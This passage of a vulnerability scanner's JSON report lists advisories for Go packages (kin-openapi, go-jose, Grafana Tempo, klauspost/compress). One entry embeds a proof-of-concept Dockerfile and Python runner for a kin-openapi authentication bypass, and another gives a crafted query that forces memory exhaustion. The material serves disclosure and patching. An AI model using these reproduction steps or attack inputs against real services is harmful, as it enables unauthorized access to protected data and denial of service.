middleware, and\n2. declares one or more `security` requirements in its OpenAPI specification, and\n3. does **not** explicitly set `AuthenticationFunc`,\n\nis fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.\n\nAffected parties include all Go services that adopt `ValidationHandler` as a drop-in validation layer and rely on OpenAPI `security` declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the \"getting started\" path are affected without any additional mistake.\n\nThe confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM golang:1.25-alpine\n\n# Install git (needed by go mod for some packages)\nRUN apk add --no-cache git\n\nWORKDIR /workspace\n\n# Copy the vulnerable kin-openapi repository as a local module replacement\nCOPY repo/ /kin-openapi/\n\n# Set up the PoC Go module\nRUN mkdir -p /workspace/poc\nWORKDIR /workspace/poc\n\n# Create go.mod that uses the local copy of the vulnerable kin-openapi\nRUN cat \u003e go.mod \u003c\u003c'EOF'\nmodule kin-openapi-auth-bypass-poc\n\ngo 1.25\n\nrequire github.com/getkin/kin-openapi v0.143.0\n\nreplace github.com/getkin/kin-openapi =\u003e /kin-openapi\nEOF\n\n# Copy the PoC source (build context is the parent directory of vuln-001/)\nCOPY vuln-001/main.go /workspace/poc/main.go\n\n# Resolve dependencies and build\nRUN go mod tidy \u0026\u0026 \\\n go build -o /poc-binary .\n\n# Run the PoC\nCMD [\"/poc-binary\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default\nRepository: getkin/kin-openapi v0.143.0\nCWE: CWE-287 (Improper Authentication)\nCVSS: 9.1 (Critical)\n\nVulnerability Summary:\n ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.\n NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement\n passes without validation when the user forgets to set AuthenticationFunc.\n\n Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing\n (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).\n\nUsage:\n python3 poc.py [--build-dir \u003cdir\u003e] [--image \u003cname\u003e] [--no-cleanup]\n\"\"\"\n\nimport argparse\nimport os\nimport subprocess\nimport sys\nimport json\n\nIMAGE_NAME = \"vuln001-auth-bypass-poc\"\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nREPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), \"repo\")\n\nSUCCESS_MARKER = \"[EXPLOIT SUCCESS]\"\nEXPECTED_STATUS = \"status=200\"\nEXPECTED_BODY = 'body=\"SECRET_DATA\\\\n\"'\n\n\ndef run(cmd, **kwargs):\n \"\"\"Run a shell command and return (returncode, stdout, stderr).\"\"\"\n print(f\"[CMD] {' '.join(cmd)}\")\n result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)\n if result.stdout:\n print(result.stdout, end=\"\")\n if result.stderr:\n print(result.stderr, end=\"\", file=sys.stderr)\n return result.returncode, result.stdout, result.stderr\n\n\ndef build_image(build_dir):\n \"\"\"Build the Docker image containing the PoC binary.\"\"\"\n print(\"\\n[*] Building Docker image ...\")\n rc, stdout, stderr = run([\n \"docker\", \"build\",\n \"--build-arg\", f\"REPO_DIR={REPO_DIR}\",\n \"-t\", IMAGE_NAME,\n \"-f\", os.path.join(build_dir, \"Dockerfile\"),\n # Build context is the reports root so both Dockerfile and repo/ are reachable\n os.path.dirname(build_dir),\n ])\n if rc != 0:\n print(f\"[ERROR] Docker build failed (exit {rc})\", file=sys.stderr)\n sys.exit(rc)\n print(\"[*] Docker build succeeded.\")\n return f\"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}\"\n\n\ndef run_container():\n \"\"\"Run the container and capture output.\"\"\"\n print(\"\\n[*] Running PoC container ...\")\n rc, stdout, stderr = run([\n \"docker\", \"run\", \"--rm\",\n \"--network\", \"none\", # no network access needed\n IMAGE_NAME,\n ])\n combined = stdout + stderr\n return rc, combined\n\n\ndef evaluate(exit_code, output):\n \"\"\"Determine whether the exploit was confirmed.\"\"\"\n passed = (\n exit_code == 0\n and SUCCESS_MARKER in output\n and EXPECTED_STATUS in output\n and EXPECTED_BODY in output\n )\n return passed\n\n\ndef cleanup_image():\n \"\"\"Remove the Docker image.\"\"\"\n print(f\"\\n[*] Removing Docker image {IMAGE_NAME} ...\")\n run([\"docker\", \"rmi\", \"-f\", IMAGE_NAME])\n\n\ndef main():\n global IMAGE_NAME\n parser = argparse.ArgumentParser(description=\"VULN-001 Auth Bypass PoC runner\")\n parser.add_argument(\"--build-dir\", default=SCRIPT_DIR,\n help=\"Directory containing Dockerfile and main.go\")\n parser.add_argument(\"--image\", default=IMAGE_NAME,\n help=\"Docker image name to build/run\")\n parser.add_argument(\"--no-cleanup\", action=\"store_true\",\n help=\"Keep the Docker image after the run\")\n args = parser.parse_args()\n IMAGE_NAME = args.image\n\n print(\"=\" * 60)\n print(\"VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default\")\n print(\"=\" * 60)\n print(f\" Build dir : {args.build_dir}\")\n print(f\" Repo dir : {REPO_DIR}\")\n print(f\" Image : {IMAGE_NAME}\")\n\n build_cmd = build_image(args.build_dir)\n run_cmd = f\"docker run --rm --network none {IMAGE_NAME}\"\n\n exit_code, output = run_container()\n\n if not args.no_cleanup:\n cleanup_image()\n\n passed = evaluate(exit_code, output)\n\n print(\"\\n\" + \"=\" * 60)\n if passed:\n print(\"[RESULT] PASS — Auth bypass CONFIRMED\")\n print(\" The protected handler returned SECRET_DATA without credentials.\")\n print(\" ValidationHandler.Load() injected NoopAuthenticationFunc silently.\")\n else:\n print(f\"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})\")\n\n print(f\"\\nContainer exit code : {exit_code}\")\n print(f\"Success marker found: {SUCCESS_MARKER in output}\")\n print(f\"Status 200 found : {EXPECTED_STATUS in output}\")\n print(f\"Secret body found : {EXPECTED_BODY in output}\")\n\n # Exit with code that signals pass/fail\n sys.exit(0 if passed else 1)\n\n\nif __name__ == \"__main__\":\n main()\n```", "Severity": "CRITICAL", "VendorSeverity": { "ghsa": 4 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 } }, "References": [ "https://github.com/getkin/kin-openapi", "https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da", "https://github.com/getkin/kin-openapi/releases/tag/v0.144.0", "https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw" ], "PublishedDate": "2026-07-24T16:52:05Z", "LastModifiedDate": "2026-07-24T16:52:05Z" }, { "VulnerabilityID": "CVE-2026-100349", "VendorIDs": [ "GHSA-74vm-87hj-r66f" ], "PkgID": "github.com/getkin/kin-openapi@v0.133.0", "PkgName": "github.com/getkin/kin-openapi", "PkgIdentifier": { "PURL": "pkg:golang/github.com/getkin/kin-openapi@v0.133.0", "UID": "60865967e06ebe00" }, "InstalledVersion": "v0.133.0", "FixedVersion": "0.146.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-100349", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:79a581930ea89d8b19c26969a4b51094c26fa5cb7471c28aee592c5725083195", "Title": "github.com/getkin/kin-openapi: kin-openapi: Denial of Service via nil pointer dereference in response validation", "Description": "kin-openapi is a Go project for handling OpenAPI files. Prior to 0.146.0, openapi3filter.ValidateResponse passes a nil response header schema to decodeValue when an OpenAPI document declares the header with content instead of schema. The document passes validation, but every response validation for the affected operation dereferences the nil schema and panics even when the response does not contain the declared header. Applications that ingest an untrusted specification can expose this as remote availability impact, while applications using only trusted local specifications still crash when the affected operation is exercised. This issue is fixed in version 0.146.0.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-100349", "https://github.com/getkin/kin-openapi", "https://github.com/getkin/kin-openapi/commit/f5441d67f855ed34d975b3b85665764644ab1459", "https://github.com/getkin/kin-openapi/releases/tag/v0.146.0", "https://github.com/getkin/kin-openapi/security/advisories/GHSA-74vm-87hj-r66f", "https://nvd.nist.gov/vuln/detail/CVE-2026-100349", "https://www.cve.org/CVERecord?id=CVE-2026-100349" ], "PublishedDate": "2026-10-15T16:17:30.64Z", "LastModifiedDate": "2026-10-16T18:17:10.35Z" }, { "VulnerabilityID": "CVE-2026-100352", "VendorIDs": [ "GHSA-rj39-cv6w-8wv7" ], "PkgID": "github.com/getkin/kin-openapi@v0.133.0", "PkgName": "github.com/getkin/kin-openapi", "PkgIdentifier": { "PURL": "pkg:golang/github.com/getkin/kin-openapi@v0.133.0", "UID": "60865967e06ebe00" }, "InstalledVersion": "v0.133.0", "FixedVersion": "0.148.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-100352", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:59e29a295b06ed9828e8e0439d81ad0b429b783f08649de7664f40ab346c0de9", "Title": "github.com/getkin/kin-openapi: kin-openapi: Denial of Service via improper handling of non-finite numeric values", "Description": "kin-openapi is a Go project for handling OpenAPI files. Prior to 0.148.0, the OpenAPI 3.1 validation path passes YAML NaN and infinity numeric values to santhosh-tekuri/jsonschema v6.0.2 without applying kin-openapi's existing finite-number guards. A remote unauthenticated client can send an application/yaml or application/x-yaml request body containing .nan, .inf, or -.inf to an operation with a numeric constraint, causing the dependency to create and dereference a nil big.Rat during ValidateRequest. Standard net/http servers recover the panic per connection, while other hosts or application goroutines may terminate the process. This issue is fixed in version 0.148.0.", "Severity": "HIGH", "CweIDs": [ "CWE-754" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-100352", "https://github.com/getkin/kin-openapi", "https://github.com/getkin/kin-openapi/commit/4487f198ab8be0c37d6ca72c54f5dca4dc25270e", "https://github.com/getkin/kin-openapi/releases/tag/v0.148.0", "https://github.com/getkin/kin-openapi/security/advisories/GHSA-rj39-cv6w-8wv7", "https://nvd.nist.gov/vuln/detail/CVE-2026-100352", "https://www.cve.org/CVERecord?id=CVE-2026-100352" ], "PublishedDate": "2026-10-15T16:17:31.307Z", "LastModifiedDate": "2026-10-20T03:17:11.19Z" }, { "VulnerabilityID": "CVE-2026-100354", "VendorIDs": [ "GHSA-g8cf-rcjf-c8cf" ], "PkgID": "github.com/getkin/kin-openapi@v0.133.0", "PkgName": "github.com/getkin/kin-openapi", "PkgIdentifier": { "PURL": "pkg:golang/github.com/getkin/kin-openapi@v0.133.0", "UID": "60865967e06ebe00" }, "InstalledVersion": "v0.133.0", "FixedVersion": "0.149.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-100354", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:69034a927ee0fb38c7178a31bf429e5792f7596d492476f45641dee23c79c517", "Title": "github.com/getkin/kin-openapi: kin-openapi: Denial of Service via unbounded recursion during schema validation", "Description": "kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.", "Severity": "HIGH", "CweIDs": [ "CWE-674" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-100354", "https://github.com/getkin/kin-openapi", "https://github.com/getkin/kin-openapi/commit/9245cef66c840e27a08409a8a5cd0ee930c5bcff", "https://github.com/getkin/kin-openapi/releases/tag/v0.149.0", "https://github.com/getkin/kin-openapi/security/advisories/GHSA-g8cf-rcjf-c8cf", "https://nvd.nist.gov/vuln/detail/CVE-2026-100354", "https://www.cve.org/CVERecord?id=CVE-2026-100354" ], "PublishedDate": "2026-10-15T17:17:07.78Z", "LastModifiedDate": "2026-10-15T19:17:12.943Z" }, { "VulnerabilityID": "CVE-2026-76905", "VendorIDs": [ "GHSA-mmfr-pmjx-hw9w" ], "PkgID": "github.com/getkin/kin-openapi@v0.133.0", "PkgName": "github.com/getkin/kin-openapi", "PkgIdentifier": { "PURL": "pkg:golang/github.com/getkin/kin-openapi@v0.133.0", "UID": "60865967e06ebe00" }, "InstalledVersion": "v0.133.0", "FixedVersion": "0.141.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76905", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:50cedc78fa0cb413d87fe9ca001c90d9a91a52ac2f0c71870b6bb40d98013a07", "Title": "github.com/getkin/kin-openapi: kin-openapi: Denial of Service via malformed multipart/form-data body", "Description": "kin-openapi is a Go project for handling OpenAPI files. From 0.10.0 until 0.141.0, openapi3filter.convertParseError in openapi3filter/validation_error_encoder.go dereferences e.Parameter.In without checking whether e.Parameter is nil. A malformed non-string scalar field in a multipart/form-data request body produces a nested ParseError with a nil RequestError.Parameter, and applications that render the validation error through openapi3filter.ConvertErrors or ValidationErrorEncoder panic. An unauthenticated client can repeatedly send such requests to deny service when the application lacks a recovery boundary. JSON request bodies and applications that do not use these error-rendering helpers are not affected. This issue is fixed in version 0.141.0.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "ghsa": 3, "redhat": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "V3Score": 5.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76905", "https://github.com/getkin/kin-openapi", "https://github.com/getkin/kin-openapi/commit/1d0a337c9b1570fab283be8a04c8af6e43b9a22c", "https://github.com/getkin/kin-openapi/releases/tag/v0.141.0", "https://github.com/getkin/kin-openapi/security/advisories/GHSA-mmfr-pmjx-hw9w", "https://nvd.nist.gov/vuln/detail/CVE-2026-76905", "https://www.cve.org/CVERecord?id=CVE-2026-76905" ], "PublishedDate": "2026-08-21T21:17:06.32Z", "LastModifiedDate": "2026-10-12T16:10:00.22Z" }, { "VulnerabilityID": "CVE-2026-77354", "VendorIDs": [ "GHSA-xhj3-7xw9-vr34" ], "PkgID": "github.com/getkin/kin-openapi@v0.133.0", "PkgName": "github.com/getkin/kin-openapi", "PkgIdentifier": { "PURL": "pkg:golang/github.com/getkin/kin-openapi@v0.133.0", "UID": "60865967e06ebe00" }, "InstalledVersion": "v0.133.0", "FixedVersion": "0.142.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-77354", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:4eff74c45df6a4126e001022ce397a313eb930b17dd074d812690fa3a6c56372", "Title": "github.com/getkin/kin-openapi: kin-openapi: Denial of Service via uncontrolled resource consumption in deepObject query parameter decoding", "Description": "kin-openapi is a Go project for handling OpenAPI files. From 0.124.0 until 0.142.0, openapi3filter.sliceMapToSlice in openapi3filter/req_resp_decoder.go converts attacker-controlled sparse indexes from a deepObject query parameter into a dense slice by allocating entries from zero through the largest supplied index, after which buildResObj creates another slice of the same length. This allocation occurs before schema validation, so maxItems does not prevent it. An unauthenticated client can send a small query such as param[items][50000000]=x to an endpoint whose deepObject schema contains an array, forcing multi-gigabyte heap allocation and causing an OOM kill or restart loop. Other request-body encodings and styled parameters that do not produce bracketed integer indexes are not affected. This issue is fixed in version 0.142.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-789" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-77354", "https://github.com/getkin/kin-openapi", "https://github.com/getkin/kin-openapi/commit/1223a0f215d2cf9beb2d9eb9ea2649d001c21388", "https://github.com/getkin/kin-openapi/pull/923", "https://github.com/getkin/kin-openapi/releases/tag/v0.142.0", "https://github.com/getkin/kin-openapi/security/advisories/GHSA-xhj3-7xw9-vr34", "https://nvd.nist.gov/vuln/detail/CVE-2026-77354", "https://www.cve.org/CVERecord?id=CVE-2026-77354" ], "PublishedDate": "2026-08-21T21:17:07.13Z", "LastModifiedDate": "2026-10-12T16:10:00.22Z" }, { "VulnerabilityID": "CVE-2026-116587", "VendorIDs": [ "GHSA-mgcc-cww5-fp2q" ], "PkgID": "github.com/go-jose/go-jose/v4@v4.1.4", "PkgName": "github.com/go-jose/go-jose/v4", "PkgIdentifier": { "PURL": "pkg:golang/github.com/go-jose/go-jose/v4@v4.1.4", "UID": "51fee67a5adc88b3" }, "InstalledVersion": "v4.1.4", "FixedVersion": "4.1.6", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-116587", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:831b8850128b890078fce06c61838e82d9f44587e3ed7e673966519be6a15e20", "Title": "github.com/go-jose/go-jose: go-jose: Denial of Service via crafted RSA parameters in JWKs", "Description": "Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.", "Severity": "HIGH", "CweIDs": [ "CWE-407", "CWE-770" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-116587", "https://github.com/go-jose/go-jose", "https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230", "https://github.com/go-jose/go-jose/releases/tag/v4.1.6", "https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q", "https://nvd.nist.gov/vuln/detail/CVE-2026-116587", "https://www.cve.org/CVERecord?id=CVE-2026-116587" ], "PublishedDate": "2026-10-26T22:16:55.193Z", "LastModifiedDate": "2026-10-27T15:16:40.99Z" }, { "VulnerabilityID": "CVE-2026-21728", "VendorIDs": [ "GHSA-p4r4-xvrq-gvmc" ], "PkgID": "github.com/grafana/tempo@v1.5.1-0.20251027222923-cbe5f845dc7b", "PkgName": "github.com/grafana/tempo", "PkgIdentifier": { "PURL": "pkg:golang/github.com/grafana/tempo@v1.5.1-0.20251027222923-cbe5f845dc7b", "UID": "a02c5dcff632fcff" }, "InstalledVersion": "v1.5.1-0.20251027222923-cbe5f845dc7b", "FixedVersion": "2.8.4, 2.9.2, 2.10.2", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-21728", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:b3b17edfb4e0cccdfc34a383b9ab5f441638585c10c8be1c2028635b89396c09", "Title": "grafana/tempo: Tempo: Denial of Service via large queries", "Description": "Tempo queries with large limits can cause large memory allocations which can impact the availability of the service, depending on its deployment strategy.\n\nMitigation can be done by setting max_result_limit in the search config, e.g. to 262144 (2^18). Alternatively, automatically restart the service.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:21769", "https://access.redhat.com/errata/RHSA-2026:22347", "https://access.redhat.com/errata/RHSA-2026:22423", "https://access.redhat.com/errata/RHSA-2026:23345", "https://access.redhat.com/errata/RHSA-2026:24503", "https://access.redhat.com/security/cve/CVE-2026-21728", "https://bugzilla.redhat.com/show_bug.cgi?id=2461395", "https://github.com/grafana/tempo", "https://github.com/grafana/tempo/blob/4dc3e5b0d3463a0b67498b662b85a148698b4afd/docs/sources/tempo/release-notes/version-2/v2-10.md?plain=1#L328", "https://github.com/grafana/tempo/blob/4dc3e5b0d3463a0b67498b662b85a148698b4afd/docs/sources/tempo/release-notes/version-2/v2-8.md?plain=1#L251", "https://github.com/grafana/tempo/blob/4dc3e5b0d3463a0b67498b662b85a148698b4afd/docs/sources/tempo/release-notes/version-2/v2-9.md?plain=1#L224", "https://github.com/grafana/tempo/commit/650eb1985a0776789c8564122990f588a742356f", "https://github.com/grafana/tempo/pull/6525", "https://grafana.com/security/security-advisories/cve-2026-21728", "https://nvd.nist.gov/vuln/detail/CVE-2026-21728", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-21728.json", "https://www.cve.org/CVERecord?id=CVE-2026-21728" ], "PublishedDate": "2026-04-24T09:16:03.71Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-28377", "VendorIDs": [ "GHSA-ffqx-q65f-36jf" ], "PkgID": "github.com/grafana/tempo@v1.5.1-0.20251027222923-cbe5f845dc7b", "PkgName": "github.com/grafana/tempo", "PkgIdentifier": { "PURL": "pkg:golang/github.com/grafana/tempo@v1.5.1-0.20251027222923-cbe5f845dc7b", "UID": "a02c5dcff632fcff" }, "InstalledVersion": "v1.5.1-0.20251027222923-cbe5f845dc7b", "FixedVersion": "2.10.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28377", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:f7f731b56e434dd361fe19a090a3c7a909cc6c00a1f84250939261a536e43028", "Title": "Grafana Tempo: Grafana Tempo: Information disclosure of S3 encryption key via status config endpoint", "Description": "A vulnerability in Grafana Tempo exposes the S3 SSE-C encryption key in plaintext through the /status/config endpoint, potentially allowing unauthorized users to obtain the key used to encrypt trace data stored in S3.\n\nThanks to william_goodfellow for reporting this vulnerability.", "Severity": "HIGH", "CweIDs": [ "CWE-326" ], "VendorSeverity": { "ghsa": 3, "redhat": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28377", "https://github.com/advisories/GHSA-ffqx-q65f-36jf", "https://github.com/grafana/tempo", "https://github.com/grafana/tempo/blob/4dc3e5b0d3463a0b67498b662b85a148698b4afd/CHANGELOG.md?plain=1#L135", "https://github.com/grafana/tempo/commit/bb8ca663db34a0980c9758b40d918fda3b4dbec3", "https://grafana.com/security/security-advisories/cve-2026-28377", "https://nvd.nist.gov/vuln/detail/CVE-2026-28377", "https://www.cve.org/CVERecord?id=CVE-2026-28377" ], "PublishedDate": "2026-03-26T22:16:28.46Z", "LastModifiedDate": "2026-06-17T13:20:14.76Z" }, { "VulnerabilityID": "CVE-2026-63209", "VendorIDs": [ "GHSA-259r-337f-4rfw" ], "PkgID": "github.com/klauspost/compress@v1.18.5", "PkgName": "github.com/klauspost/compress", "PkgIdentifier": { "PURL": "pkg:golang/github.com/klauspost/compress@v1.18.5", "UID": "24c7e466783b9481" }, "InstalledVersion": "v1.18.5", "FixedVersion": "1.18.7", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63209", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory Go", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago" }, "Fingerprint": "sha256:970336cbc31fd2c31234f3c3b5038893549e3c330d5ed34ed512376e66de2850", "Title": "github.com/klauspost/compress: klauspost/compress: Denial of Service via integer overflow in dictionary processing", "Description": "compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.", "Severity": "HIGH", "CweIDs": [ "CWE-190", "CWE-787" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63209", "https://github.com/klauspost/compress", "https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536", "https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa", "https://github.com/klauspost/compress/pull/1163", "https://github.com/klauspost/compress/releases/tag/v1.18.7", "https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw", "https://nvd.nist.gov/vuln/detail/CVE-2026-63209", "https://www.cve.org/CVERecord?id=CVE-2026-63209" ], "PublishedDate": "2026-09-29T15:17:27.13Z", "LastModifiedDate": "2026-09-30T19:57:08.043Z" }, { "VulnerabilityID": "CVE-2026-42151", "VendorIDs": [ "GHSA-wg65-39gg-5wfj" ], "PkgID": 